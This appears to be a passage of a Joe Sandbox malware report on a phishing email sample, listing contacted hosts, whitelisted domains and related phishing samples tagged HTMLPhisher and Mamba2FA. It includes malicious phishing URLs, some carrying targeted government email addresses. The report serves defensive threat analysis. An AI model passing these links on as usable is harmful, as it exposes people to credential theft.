13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.245.31.33	d2vgu95hoyrpkh.cloudfront.net	United States	16509	AMAZON-02US	false
172.67.191.88	bhutto.systelligence.com	United States	13335	CLOUDFLARENETUS	false
142.250.185.164	www.google.com	United States	15169	GOOGLEUS	false
18.245.31.5	unknown	United States	16509	AMAZON-02US	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
192.229.133.221	cs837.wac.edgecastcdn.net	United States	15133	EDGECASTUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	ppoe383938373.94f753c2d1263a70cd44ea51.workers.dev	European Union	13335	CLOUDFLARENETUS	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1551676
Start date and time:	2024-11-07 23:46:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Leg AdobeShareFile62532.pdf.eml (21.8 KB).msg
Detection:	MAL
Classification:	mal100.phis.winMSG@19/61@20/11
Cookbook Comments:	Found application associated with file extension: .msg

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.89.18, 52.109.68.129, 52.113.194.132, 2.19.126.151, 2.19.126.160, 87.248.205.0, 192.229.221.95, 142.250.185.227, 142.250.110.84, 216.58.206.78, 34.104.35.123, 52.168.117.168, 142.250.184.227, 142.250.186.170, 142.250.184.234, 172.217.18.106, 142.250.184.202, 142.250.185.170, 172.217.16.202, 142.250.186.138, 142.250.186.42, 172.217.18.10, 142.250.185.138, 142.250.186.106, 142.250.185.202, 142.250.186.74, 142.250.185.234, 216.58.206.42, 142.250.181.234, 142.250.186.99, 142.250.186.163, 142.250.186.78
Excluded domains from analysis (whitelisted): logincdn.msauth.net, omex.cdn.office.net, lgincdnmsftuswe2.azureedge.net, slscr.update.microsoft.com, clientservices.googleapis.com, weu-azsc-config.officeapps.live.com, eur.roaming1.live.com.akadns.net, ecs-office.s-0005.s-msedge.net, roaming.officeapps.live.com, clients2.google.com, ocsp.digicert.com, login.live.com, update.googleapis.com, frc-azsc-000.roaming.officeapps.live.com, officeclient.microsoft.com, www.gstatic.com, wu-b-net.trafficmanager.net, a1864.dscd.akamai.net, clients1.google.com, ecs.office.com, self-events-data.trafficmanager.net, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, aadcdnoriginwus2.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, osiprod-frc-buff-azsc-000.francecentral.cloudapp.azure.com, ctldl.windowsupdate.com, aadcdn.msauth.net, prod.roaming1.live.com.akadns.net, s-0005-office.config.skype.com, firstparty-azurefd-pro
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Leg AdobeShareFile62532.pdf.eml (21.8 KB).msg

Source	URL
Screenshot	https://ppoe383938373.94f753c2d1263a70cd44ea51.workers.dev/?NHEDjoe.nguyen@leg.wa.gov
Screenshot	https://ppoe383938373.94f753c2d1263a70cd44ea51.workers.dev/?NHEDjoe.nguyen@leg.wa.gov

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
18.245.31.5	Transcript_Sh03 summit bhc.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	Transcript_Sh03 summit bhc-2.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	#U25b6#Ufe0fVmail__00_15.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://ad.broadstreetads.com/click/808995/c536057/z64631?destination=https://carolyndc.com/m/?c3Y9bzM2NV8xX25vbSZyYW5kPVJFVXiaMUE9JnVpZD1VU0VSMTQxMDlwMjRVMTQxMDE0NTc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	Audio.wav_98712647842647873841.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://grandpasbs.com/wp-includes/o/?c3Y9bzM2NV8xX3NwJnJhbmQ9ZG1KdWNsTT0mdWlkPVVTRVIwMzEwMjAyNFU0MjEwMDMzMA==N0123N	Get hash	malicious	Mamba2FA	Browse
	https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://digitalplatform-admin-p.azurewebsites.net/external-link/?targetURL=https://www.google.nl/url?q=ZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS5d7c8770636a4f3fd2ed2ec05584079425wDnNeW8yycT&sa=t&esrc=nNeW8F5d7c8770636a4f3fd2ed2ec05584079425A0xys8Em2FL&source=&cd=tS6T85d7c8770636a4f3fd2ed2ec05584079425Tiw9XH&cad=XpPkDfJX5d7c8770636a4f3fd2ed2ec05584079425VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fbyda.ng%2Fcig.bin%2Fgoin%2F%23c2VjcmV0YXJpYXRAcGVvLm9uLmNh	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://sendspace.com/pro/z42su8	Get hash	malicious	Mamba2FA	Browse
	https://u47918368.ct.sendgrid.net/ls/click?upn=u001.-2BOo3JYTQYuIFaBSzf7AB64dVRTqkGjH0MRM8KyM0AcZsOP7y7qpKWukjxhDcw92CbJO47QSxKFDJcDiP6WeaFL-2BnK3EFxpudowoMeNAVdeweBd8-2FWlMYHw0bdH9dmRj9FWWLx9-2FZjKKb84F9ITCdIGxoZiMN3mzzvXx07roy7WVNC3vFCOURYxFpe90m2E8wJ9PxEH58lcyIBohCQwrgcA-3D-3D7Qgj_AsQvLq31PKXxx3tM00egmVFtswxWHNiAKAW7v-2BME9y3foxrTpQ6z5Y5Y3k6TX-2BTbdqWMdZVTacuc-2FsKla-2BQnDyhxuGfrDPGC0inve5ZGuY9bJGKrM5EaK8IdC3aHxgKXMexjApq1Yv-2Fo2nkdHzmaIMX05B-2BRcK00sZCPCageoDEFAP0MeynrbN6eJfLKupbsQbWTUFPTXUzcncjU8U51AySRGzNQgfTZ5bFcAOShlFKqsuf25KciTGdGP3A-2FBofD5YR3osO6IK-2BefoTwxAt1P4CtUrODXihiP08tFb44snucy1SwxfDMueKUMHcRTuAXbf1k4HMxx5M9-2F4k46qOhvuaLiVUWL6XnB96ND-2BJesqeyrDYcH7gQDBkF-2Ft9dOfbph87RveTLjaU71K5zlVGHj5DbweGtprlQzW-2FAVa2qxgamgU-2BdVnaIdAfsqwI00wESnUW9OKgd-2FZSqxAaB9p-2F-2BYoTjgZf-2F43lM89eNMZonRv3e8C1Aoxa-2FsV8mYg89iRruh-2FvRiJkUcrVbbYatzvOSlR7zePoUWntrdLvmh4abI8n-2B4a6l6OHt00KAAzuzuPz5RFpduPDEuP-2FPPfJYC4wrQig4u5dvMcDSr3O5WPP6KupGDnHTn6vziIr23gkn3gj6EeAbpU1HpirN1A7rynpdvPvGTD-2FchgcZzQ9-2B4rUpO1IBcbVKgv5LeX4QGG1wNAdBCEPAUor8s8H1Ni2p3PqFRP6Mx6H3i19ISLPUg1Z-2B5EgTIPf1f4RHs1VwzG1Dq-2BG-2FzvuJxxkNZwyLv4aHan0-2BAU5E63umNxQDiKHthW8CeZp05uXi1-2BiaV-2FzgIRx32rFDuQJkUP6DqfWApsjY1ZCFZPLDZyUpWGwnMcG-2BRW5xv25mekUrT9aB2RxMGLSAJykNRSOSjaz0DAuYI7hPs-2BovbbN1slvb8Jkm1ZsUjPOcqsQ-3D	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://u47918369.ct.sendgrid.net/ls/click?upn=u001.ZoCZETgJDKD-2FKvq1a-2Bqbn8ta8d94BJ71ZWM4NddFG9BNYa4zSgm5xozG6sQbxmU5D5hL85iqF140GJ6UG5nvQ8h9zqpzZN6TptwRH8YmWqCz4BhhWVyA4-2FGdi78BIf3v-2B7DR6p6O0O2iMltxPh-2BTVZzGBI-2BdwOvbNydWsHD-2FE3jskn-2BWjLG5mEA5NmkZDPRzetlrway-2BFvubwBO4HRvhVg-3D-3Dmeoi_-2Bc-2FE9fHJLEezMYVeHAjWA-2FCLTyAjjdsjmjoMWPOcqKulbzylExHQ2Bq-2F3BWB5j3k2UTXVbxJlycszSZ1lajkNfuZTcVvZ-2FvSGDyQmX-2FtcFOsY2mjWSEq1i80kCvMOrhUl4ALfB0EoZtPz4ZKLJkzU7FgeX-2FT9OOVwrlnZy4n0LZBObWOCx8zKd7nZMhFe-2BZc9Pem0kzkQw2yNab8z35ieg0OqT7JGePwZBZspCJwJURQ2RzMNYu1jql5xUEHxCdthZoQG0oXgKX7EC2zWVbmd3lbuIz4gnLx6gtjvJVPuORshK8UmeaYN3bhRbYtiwa1MzSTAh44aejae4PH1iW9eqQx6mkzXAmSRGDTqlaz-2BTMhcFb2TbX9Ireuri9431lneUhuzyBoFgsxNxrHmewEumQ5Fpbl3DMNlZWY6v-2BZeqOSKoZukPJvFMTp-2B0LlYiW2hSEEHpoW-2Bfkodr-2BXedOkEgHOpb-2BI-2Bo7iRsBMssyauw7e2G-2BtBTPlVRTMUKEi0sHkZnzyDwwvelrsZPDSeuUSJJbF5RsW6PuJ3rHQeLybAr5sY4N1iFLQRl4UXoM-2FW1USqeW-2FW67ju4oKy-2BxxK2RMyt1UamWC1e7ZMaHtLuobdKUFD-2B-2BLBUV-2Bt1L4C-2BjqlcRVfQXoWpIiBUrky3W8HrGlvsfUG6wd83TiHuew-2FQxPfj-2FiZisyJRXvaXYOHAqa17KLb3gmFP-2B5uXU8LjzG0ycYvWam8x9r5ppG8H3M12etKaXYgjAyYUFRLUyjayjoSrQYGFIaA5ZpLf0TnsLO-2F6gNVZ-2FafUtMAjrZaBWKnf4XbPftvvgD-2FYh-2Fjepxm5eyWvZ523sC9u7sDPMnlHy9SJkfmrT2lMQs12qzVb613rQa-2FDElHuue97Dli-2FDJHUvFFkCQGiWlvze9GWny9B9XIMqzHg-3D-3D	Get hash	malicious	Unknown	Browse
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
18.245.31.33	https://sendspace.com/pro/z42su8	Get hash	malicious	Mamba2FA	Browse
	https://dianemccabe.com/n/?c3Y9bzM2NV8xX25vbSZyYW5kPVdHTldZbE09JnVpZD1VU0VSMjMwOTIwMjRVMzMwOTIzMjU=N0123N%5BEMAIL%5D	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://sendspace.com/pro/z42su8	Get hash	malicious	Mamba2FA	Browse
	https://u47918366.ct.sendgrid.net/ls/click?upn=u001.skYLek12KWTy-2FVz15U1JGdpJfnayI4kQ0pGqHar3Dl5XD61duaRQIcmphf6sxsCT3pRESnljQSclapQG6uG3pGdVz-2B44bL9s03KAUTE5StMNIlD8xnCLLZ8lGkQWJZW6RJC-2FMS-2FmtqbnkGnTi61-2FLV9HYGRp5V27shTYXb-2BqWDMLram9L-2B8PCUCWTlPWwUYxTwD1kp50jJPmaqPt-2BzDZOg-3D-3DTS7W_AsQvLq31PKXxx3tM00egmVFtswxWHNiAKAW7v-2BME9y3foxrTpQ6z5Y5Y3k6TX-2BTbdqWMdZVTacuc-2FsKla-2BQnDyhxuGfrDPGC0inve5ZGuY9bJGKrM5EaK8IdC3aHxgKXMexjApq1Yv-2Fo2nkdHzmaIMX05B-2BRcK00sZCPCageoDHJ5VJcv4MzWUDlTtocfgkMJvTb5FZfkZhbfaTdVG8T1D8ISk1AiI0VZdOyElaDF2lwjvMkxASeOl3LDfxjUUKobeqbPPkPOL-2FFCEqbDPXvTtqSZ0LtfoDQBzIQYgv0-2BKqgncXiJO3Toa6oC4D8SJ9T4jEkCAaFVomtF-2BLa074AQSN6zNknHd44z3F5KFRlIdXHZ-2F-2FkKbletJGTpBctnhVIargZh-2B3ygn9ILvi3aWgJBsduA5d5SNlv1rw3CXA1dsDxrOxxIpnY0JrE-2BOs5oJ-2B0oEc3CA-2Blf0qvGEjijsr3WfQTSZOkB99gCE-2Bo0aX7F9iVua9ZZWaZcF0NGZ02mJAAvIwQeWbC7KgOj-2F6rxhTm6MvTu3h0fQLZ2ipKLD84nXxWl4nGhRYgr9-2FXlS5jJbBnp3hKIUm0d4tdscG5h7j5bPTxgkBc4NlTYmfh3kgGEJER3U0pW7a-2FRKc98R6qmb2qW4Qgxj1vjPRWmKm55m3tZsVDmhUWrOY5ncaMRfKm-2BmGDb9sWprjksdUMBBQYJ3X1NNYC0PHUK9-2BeRED5iZxcfjghmBF5dlIbtRWXUGeRHYic4hdbqwWvgvomaNePBSF1zDDtCPk1hkiYrlVpodlRsRYqLYtiPhuhu6aIUn-2BVFWMHf9ydplKIkghsxI2bAOKFPZhPyAvHJwJqMGZ2ukaqMBlHPEUWpx-2FduLBjNhbyEIk-3D	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://t.ly/J2Omu	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://www.google.lu/url?q=dK5oN8bP2yJ1vL3qF6gT0cR9mW4sH7jD2uY8kX5zM0nW4rT9pB6yG3lF1oJ8qV2kN7dP5uC3xH6tR0jL4wY1vS9mD2bT8nK7yX5rJ3qG0sW6lP9oF2aH1kpQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&esrc=026rlFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Bgalapagos%C2%ADhostal%C2%AD%C2%ADtintorera%C2%AD.com%2Fauoth%2Fmeme%2Fnexpoint.com/c2pvaG5zb25AbmV4cG9pbnQuY29t	Get hash	malicious	Mamba2FA	Browse
	https://docsend.com/view/yvdhrcvq4c4p7xrd	Get hash	malicious	HTMLPhisher	Browse
	UCLouvain.onepkg	Get hash	malicious	Unknown	Browse
	https://docs.google.com/drawings/d/1JRNFh_1Cbzym_iLfw5aw8-eo7G0EKRf1L0-MpuWvb2k/preview?pli=1MiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqG	Get hash	malicious	Unknown	Browse
	https://docs.google.com/drawings/d/14Q1EGmG0TWb0poSuSYwhNHZWOm-kG4Jlnk5Hg076lVI/preview?pli=132E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWl	Get hash	malicious	Mamba2FA	Browse
192.229.133.221	) wavr3e.htm	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse
	Transcript_Sh03 summit bhc.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	Transcript_Sh03 summit bhc-2.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	#U25b6#Ufe0fVmail__00_15.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://ad.broadstreetads.com/click/808995/c536057/z64631?destination=https://carolyndc.com/m/?c3Y9bzM2NV8xX25vbSZyYW5kPVJFVXiaMUE9JnVpZD1VU0VSMTQxMDlwMjRVMTQxMDE0NTc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	Audio.wav_98712647842647873841.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://grandpasbs.com/wp-includes/o/?c3Y9bzM2NV8xX3NwJnJhbmQ9ZG1KdWNsTT0mdWlkPVVTRVIwMzEwMjAyNFU0MjEwMDMzMA==N0123N	Get hash	malicious	Mamba2FA	Browse
	https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://digitalplatform-admin-p.azurewebsites.net/external-link/?targetURL=https://www.google.nl/url?q=ZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS5d7c8770636a4f3fd2ed2ec05584079425wDnNeW8yycT&sa=t&esrc=nNeW8F5d7c8770636a4f3fd2ed2ec05584079425A0xys8Em2FL&source=&cd=tS6T85d7c8770636a4f3fd2ed2ec05584079425Tiw9XH&cad=XpPkDfJX5d7c8770636a4f3fd2ed2ec05584079425VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fbyda.ng%2Fcig.bin%2Fgoin%2F%23c2VjcmV0YXJpYXRAcGVvLm9uLmNh	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://sendspace.com/pro/z42su8	Get hash	malicious	Mamba2FA	Browse
	https://eu2.contabostorage.com/0f057bf4d91340d3ae18d5f31372fa7e:caldev/doc.html#dloplcemeteryoversight-labor@maryland.gov	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bhutto.systelligence.com	https://micheline.aceflavall.com/	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	104.21.20.47
d2vgu95hoyrpkh.cloudfront.net	Transcript_Sh03 summit bhc.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.5
	Transcript_Sh03 summit bhc-2.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.227.219.47
	#U25b6#Ufe0fVmail__00_15.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.5
	https://ad.broadstreetads.com/click/808995/c536057/z64631?destination=https://carolyndc.com/m/?c3Y9bzM2NV8xX25vbSZyYW5kPVJFVXiaMUE9JnVpZD1VU0VSMTQxMDlwMjRVMTQxMDE0NTc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.187.34
	Audio.wav_98712647842647873841.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.227.219.40
	https://grandpasbs.com/wp-includes/o/?c3Y9bzM2NV8xX3NwJnJhbmQ9ZG1KdWNsTT0mdWlkPVVTRVIwMzEwMjAyNFU0MjEwMDMzMA==N0123N	Get hash	malicious	Mamba2FA	Browse	18.245.31.5
	https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://digitalplatform-admin-p.azurewebsites.net/external-link/?targetURL=https://www.google.nl/url?q=ZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS5d7c8770636a4f3fd2ed2ec05584079425wDnNeW8yycT&sa=t&esrc=nNeW8F5d7c8770636a4f3fd2ed2ec05584079425A0xys8Em2FL&source=&cd=tS6T85d7c8770636a4f3fd2ed2ec05584079425Tiw9XH&cad=XpPkDfJX5d7c8770636a4f3fd2ed2ec05584079425VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fbyda.ng%2Fcig.bin%2Fgoin%2F%23c2VjcmV0YXJpYXRAcGVvLm9uLmNh	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.5
	https://sendspace.com/pro/z42su8	Get hash	malicious	Mamba2FA	Browse	18.245.31.33
	https://dianemccabe.com/n/?c3Y9bzM2NV8xX25vbSZyYW5kPVdHTldZbE09JnVpZD1VU0VSMjMwOTIwMjRVMzMwOTIzMjU=N0123N%5BEMAIL%5D	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.33
	https://dianemccabe.com/n/?c3Y9bzM2NV8xX25vbSZyYW5kPVdHTldZbE09JnVpZD1VU0VSMjMwOTIwMjRVMzMwOTIzMjU=N0123N%5BEMAIL%5D	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.89
cs837.wac.edgecastcdn.net	) wavr3e.htm	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	192.229.133.221
	Transcript_Sh03 summit bhc.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	192.229.133.221
	Transcript_Sh03 summit bhc-2.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	192.229.133.221
	#U25b6#Ufe0fVmail__00_15.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	192.229.133.221
	https://ad.broadstreetads.com/click/808995/c536057/z64631?destination=https://carolyndc.com/m/?c3Y9bzM2NV8xX25vbSZyYW5kPVJFVXiaMUE9JnVpZD1VU0VSMTQxMDlwMjRVMTQxMDE0NTc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	192.229.133.221
	Audio.wav_98712647842647873841.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	192.229.133.221
	https://grandpasbs.com/wp-includes/o/?c3Y9bzM2NV8xX3NwJnJhbmQ9ZG1KdWNsTT0mdWlkPVVTRVIwMzEwMjAyNFU0MjEwMDMzMA==N0123N	Get hash	malicious	Mamba2FA	Browse	192.229.133.221
	https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://digitalplatform-admin-p.azurewebsites.net/external-link/?targetURL=https://www.google.nl/url?q=ZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS5d7c8770636a4f3fd2ed2ec05584079425wDnNeW8yycT&sa=t&esrc=nNeW8F5d7c8770636a4f3fd2ed2ec05584079425A0xys8Em2FL&source=&cd=tS6T85d7c8770636a4f3fd2ed2ec05584079425Tiw9XH&cad=XpPkDfJX5d7c8770636a4f3fd2ed2ec05584079425VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fbyda.ng%2Fcig.bin%2Fgoin%2F%23c2VjcmV0YXJpYXRAcGVvLm9uLmNh	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	192.229.133.221
	https://sendspace.com/pro/z42su8	Get hash	malicious	Mamba2FA	Browse	192.229.133.221
	https://eu2.contabostorage.com/0f057bf4d91340d3ae18d5f31372fa7e:caldev/doc.html#dloplcemeteryoversight-labor@maryland.gov	Get hash	malicious	HTMLPhisher	Browse	192.229.133.221
